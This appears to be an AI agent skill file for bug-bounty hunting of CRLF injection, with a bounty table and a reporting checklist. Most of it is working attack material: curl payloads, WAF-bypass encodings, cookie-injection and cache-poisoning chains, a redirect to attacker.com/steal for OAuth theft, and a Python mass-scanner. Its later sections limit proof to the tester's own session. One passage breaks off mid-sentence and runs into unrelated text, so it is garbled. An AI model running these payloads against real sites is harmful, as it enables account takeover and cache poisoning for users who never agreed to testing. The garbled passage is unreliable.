--- name: hunt-crlf description: CRLF injection — response splitting, header injection, XSS, cache poisoning, cookie injection. Must demonstrate concrete impact. --- # CRLF INJECTION Inject `%0d%0a` (CR+LF) into HTTP responses to manipulate headers, bodies, and behavior. ## WHERE TO LOOK ``` - URL params: ?redirect=, ?url=, ?next=, ?return=, ?continue= - Headers: Referer, User-Agent, X-Forwarded-For, Host - Path segments: /page/%0d%0aInjected-Header:value - POST body: name, email, search, comment - Cookies: session=evil%0d%0aSet-Cookie:hijacked ``` ## DETECTION ```bash for param in search name email redirect url next return continue user lang; do curl -s "https://target.com/?${param}=test%0d%0aInjected-Header:fuzzme" -I 2>/dev/null | grep -i "Injected-Header" done for hdr in Referer User-Agent X-Forwarded-For X-Forwarded-Host Accept-Language Cookie; do curl -s -H "${hdr}: test%0d%0aInjected-Header:fuzzme" "https://target.com/" -I 2>/dev/null | grep -i "Injected-Header" done curl -s "https://target.com/page%0d%0aInjected-Header:fuzzme" -I curl -s "https://target.com/?q=test%0d%0a%0d%0a

INJECTED

" | grep "INJECTED" ``` ## EXPLOIT CHAINS ### Chain 1: CRLF → Cookie Injection → ATO ```bash curl -s "https://target.com/redirect?url=https://target.com%0d%0aSet-Cookie:session=ATTACKER;Path=/;Domain=.target.com" -I ``` ### Chain 2: CRLF → XSS → Session Hijack ```bash curl -s "https://target.com/search?q=test%0d%0a%0d%0a" ``` ### Chain 3: CRLF → Cache Poisoning → Mass XSS ```bash curl -s "https://target.com/page?lang=test%0d%0aX-Cache:HIT%0d%0aContent-Type:text/html%0d%0a%0d%0a" ``` ### Chain 4: CRLF → Open Redirect → OAuth Theft ```bash curl -s "https://target.com/callback?next=https://target.com%0d%0aLocation:https://attacker.com/steal" -I ``` ### Chain 5: CRLF → Host Poisoning → Reset Poisoning ```bash curl -s -H "Host: target.com%0d%0aX-Forwarded-Host:evil.com" "https://target.com/forgot-password" ``` ## CURL PAYLOADS ```bash curl -v "https://target.com/?q=test%0d%0aX-Injected:header" curl -v "https://target.com/?q=test%250d%250aX-Injected:header" curl -v "https://target.com/?q=test%C0%8D%C0%8AX-Injected:header" curl -v "https://target.com/?q=test%0d%09X-Injected:header" curl -v "https://target.com/?q=test%00%0d%0aX-Injected:header" curl -v -H "Cookie: session=test%0d%0aSet-Cookie:hijacked" "https://target.com/" curl -v -H "Referer: https://target.com%0d%0aX-Injected:header" "https://target.com/" curl -v -H "X-Forwarded-For: 127.0.0.1%0d%0aX-Injected:header" "https://target.com/" ``` ## WAF BYPASS ```bash curl -v "https://target.com/?q=%250d%250aX-Injected:header" # Double encoding curl -v "https://target.com/?q=%25250d%25250aX-Injected:header" # Triple encoding curl -v "https://target.com/?q=%E5%98%8A%E5%98%8DX-Injected:header" # Unicode curl -v "https://target.com/?q=%C0%8D%C0%8AX-Injected:header" # Overlong UTF-8 curl -v "https://target.com/?q=%00%0d%0aX-Injected:header" # Null byte curl -v --http2 -H "X-Inj: header%0d%0aX-Smuggled: true" "https://target.com/" curl -v "https://target.com/?q=%0d%0ax-injected:header" # Case variation curl -v "https://target.com/?q=%0a%0dX-Injected:header" # Newline variants ``` ## CRLF IN DIFFERENT CONTEXTS ```bash curl -s "https://target.com/?q=test%0d%0aSet-Cookie:admin=true" -I curl -s "https://target.com/?q=test%0d%0aX-Frame-Options:" -I curl -s "https://target.com/?q=test%0d%0aContent-Security-Policy:" -I curl -s "https://target.com/redirect?url=%0d%0aSet-Cookie:session=hijacked%3BPath%3D/%3BDomain%3D.target.com" -I curl -s "https://target.com/search?q=%0d%0a%0d%0a" curl -s "https://target.com/?q=%0d%0a[FORGED] Admin login from attacker" -I curl -s "https://target.com/page?utm=test%0d%0aX-Cache:HIT%0d%0aCache-Control:max-age=86400%0d%0a%0d%0a" ``` ## REAL BOUNTY EXAMPLES | Program | Severity | Impact | Reward | |---------|----------|--------|--------| | Uber (HackerOne) | Critical | CRLF → cookie injection → ATO | $10,000 | | Shopify (HackerOne) | High | CRLF → XSS in admin panel | $4,000 | | GitLab (HackerOne) | High | CRLF → header injection → cache poisoning | $3,000 | | Slack (HackerOne) | Medium | CRLF → response splitting → XSS | $2,000 | | Twitch (HackerOne) | High | CRLF → Set-Cookie → session fixation | $3,500 | | HackerOne (self) | Critical | CRLF → host header poisoning → ATO | $5,000 | | Vimeo (HackerOne) | High | CRLF → XSS via redirect | $2,500 | | Dropbox (HackerOne) | Critical | CRLF → response splitting → mass compromise | $8,000 | ## AUTOMATION SCRIPT ```python #!/usr/bin/env python3 """CRLF Scanner — mass parameter testing with WAF bypass.""" import requests, sys PARAMS = ["search","q","query","name","email","redirect","url","next","return", "continue","lang","country","sort","filter","callback","redirect_uri", "return_to","dest","destination","redir","ref","site","go","link","to","out","view"] HDRS = ["Referer","User-Agent","X-Forwarded-For","X-Forwarded-Host","X-Real-IP","Cookie","Host"] PAYLOADS = ["%0d%0aX-Injected-Header:t","%0D%0AX-Injected-Header:t", "%250d%250aX-Injected-Header:t","%C0%8D%C0%8AX-Injected-Header:t"] FINDINGS = [] def test_url(url, verbose=False): for payload in PAYLOADS: for param in PARAMS: try: r = requests.get(f"{url}?{param}=test{payload}", timeout=10, allow_redirects=False) if "X-Injected-Header" in str(r.headers): FINDINGS.append({"url":url,"param":param,"type":"header","sev":"HIGH"}) print(f"[!] HEADER INJECTION: {param} in {url}") if "X-Injected-Header" in r.text: FINDINGS.append({"url":url,"param":param,"type":"body","sev":"CRITICAL"}) print(f"[!] BODY INJECTION (XSS): {param} in {url}") except: pass try: r = requests.get(url, timeout=10, headers={"Cookie":"session=test%0d%0aSet-Cookie:crlf_test=y"}) if "crlf_test" in str(r.headers.get("Set-Cookie","")): FINDINGS.append({"url":url,"param":"Cookie","type":"cookie","sev":"CRITICAL"}) print(f"[!] COOKIE INJECTION: {url}") except: pass for hdr in HDRS[:4]: for payload in PAYLOADS[:2]: try: r = requests.get(url, timeout=10, headers={hdr:f"test{payload}"}) if "X-Injected-Header" in str(r.headers): FINDINGS.append({"url":url,"param":hdr,"type":"header","sev":"HIGH"}) print(f"[!] HEADER INJECTION via {hdr}: {url}") except: pass def scan_file(fpath): with open(fpath) as f: urls = [l.strip() for l in f if l.strip() and not l.startswith("#")] print(f"[*] Scanning {len(urls)} URLs...") for i, url in enumerate(urls): print(f"[*] ({i+1}/{len(urls)}) {url}") test_url(url) print(f"\n[+] Found {len(FINDINGS)} issues.") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python crlf_scanner.py [-v]"); sys.exit(1) target = sys.argv[1] if target.startswith("http"): test_url(target) else: scan_file(target) if FINDINGS: print("\n[+] FINDINGS:") for f in FINDINGS: print(f" [{f['sev']}] {f['type']}: {f['param']} in {f['url']}") ``` ## REPORT TEMPLATE ``` Title: CRLF Injection in [PARAMETER] leading to [IMPACT] Severity: Critical/High Steps: curl -v "https://target.com/?param=test%0d%0aSet-Cookie:hijacked=1" Impact: [ATO / XSS / Cache Poisoning / Mass Account Compromise] Remediation: Encode or strip CR/LF from all user input before HTTP header construction ``` ## INJECTION POINTS IN DEPTH Not every sink is equal. Rank by what the server does with the value: - **Location (redirect targets)** — the highest-value sink. Any `redirect`, `next`, `return_to`, `url`, or post-login bounce that is reflected into a `Location:` header unsanitized gives full response control on a 3xx. Redirect endpoints are also the most commonly missed: they are small, old, and rarely audited. - **Set-Cookie values** — cookie names/values built from user input (locale, theme, "remember my choice", A/B bucket, last-search). A CRLF here lets you write *additional* cookies into the victim's response, not just corrupt one. - **Custom response headers** — `X-*` headers echoing input: download filenames (`Content-Disposition: attachment; filename=`. That requires the sink to pass your CRLFCRLF through untouched and the server/proxy to emit it verbatim. Splitting is what enables stored-XSS-equivalent body control and cache poisoning; a single CRLF almost never does. - Test in order: single CRLF (header), CRLF + `Set-Cookie` (session impact), CRLFCRLF + body marker (splitting). Report the highest tier you actually reached, with the raw response as evidence. ## LOG INJECTION — THE SIBLING BUG The same unsanitized value often lands in server logs even when the HTTP layer strips it. Inject `%0a[FORGED] admin login succeeded` or ANSI escapes (`%1b[31m`) into usernames, search terms, and User-Agent. Impact: forged log entries that poison incident response, log-viewer XSS when an admin panel renders entries as HTML, and terminal escape injection for anyone tailing logs. Lower severity than response splitting, but it proves the input path is unsanitized end-to-end and frequently coexists with the header bug — check both before reporting either. ## ENCODING VARIANTS Frameworks disagree on what counts as a line break. When `%0d%0a` is stripped, walk the ladder: ``` %0a alone # many stacks split on LF only (esp. behind proxies) %0d alone # rare, but some Java/Go writers accept CR %0d%0a, %0a%0d # order flips survive naive pair-matching filters %u000d%u000a # IIS / classic ASP unicode decoding %E5%98%8D%E5%98%8A # UTF-8 chars whose low bytes decode to CR/LF downstream %0d%09 / %0d%20 # CR + tab/space: header continuation tricks on lenient parsers %25250d%25250a # triple encoding for double-decoding proxies ``` Key insight: the *decoding* layer and the *splitting* layer are often different components (WAF decodes once, app decodes again, HTTP library splits). A payload that looks dead at the edge can reassemble at the origin. ## IMPACT ROUTES THAT ACTUALLY PAY - **Session fixation via injected Set-Cookie** — inject `Set-Cookie: session=; Path=/; Domain=.target.com` through a link the victim opens; the victim's browser stores YOUR session id, they log in under it, you ride the authenticated session. Requires the cookie to be set on a response the victim actually receives (a redirect they follow counts). - **Cache poisoning via split responses** — only with true splitting: make the shared cache store your body under the victim URL's key (match `Cache-Control`/`Age` behavior first; if the response is `private`/`no-store`, this route is dead — say so and move on). - **XSS via injected headers** — stack-dependent: some servers/browsers historically rendered injected `Content-Type: text/html` + split body as a page; modern browsers mostly refuse. Treat header-to-XSS as a chain to *prove on the target stack*, never an assumption. - **Security-header stripping** — inject an empty `Content-Security-Policy:` or `X-Frame-Options:` line where the framework dedupes by first/last occurrence. Clickjacking enablement is real, demonstrable impact. ## PROOF DISCIPLINE - Inject a **harmless marker only**: your own header name (`X-Crlf-Proof: `), or a cookie set on **your own session, in your own browser**. Never fixate a session for, or serve a split response to, another user. - Capture the **raw response** (`curl -v` / proxy history) — a screenshot of a browser is not evidence of a header. - For cache routes, poison only a URL with a cache-buster key you control, and purge/expire it after the demo. ## FALSE-POSITIVE TRAPS - The framework **URL-encodes on output**: your marker appears as `%0d%0a` literally in the header value — reflected, not injected. Check the raw bytes. - Marker appears in the **body** (echoed search term) — that's reflection/XSS territory, not CRLF. - The proxy normalizes: injection works direct-to-origin but the public path re-encodes — report the reachable path only. - `Set-Cookie` you "injected" was actually set by the app for another reason in the same response. Diff against a clean baseline request. ## REPORTING CHECKLIST - [ ] Exact sink: parameter/header + endpoint + raw request - [ ] Raw response showing the injected header/cookie as a distinct line - [ ] Tier stated honestly: header injection vs full response splitting - [ ] Impact demonstrated on own session only (fixation value you generated, marker cookie you received) - [ ] Cache claims backed by two requests (poison + clean retrieval) with cache headers shown - [ ] Baseline diff included so triage can rule out app-set headers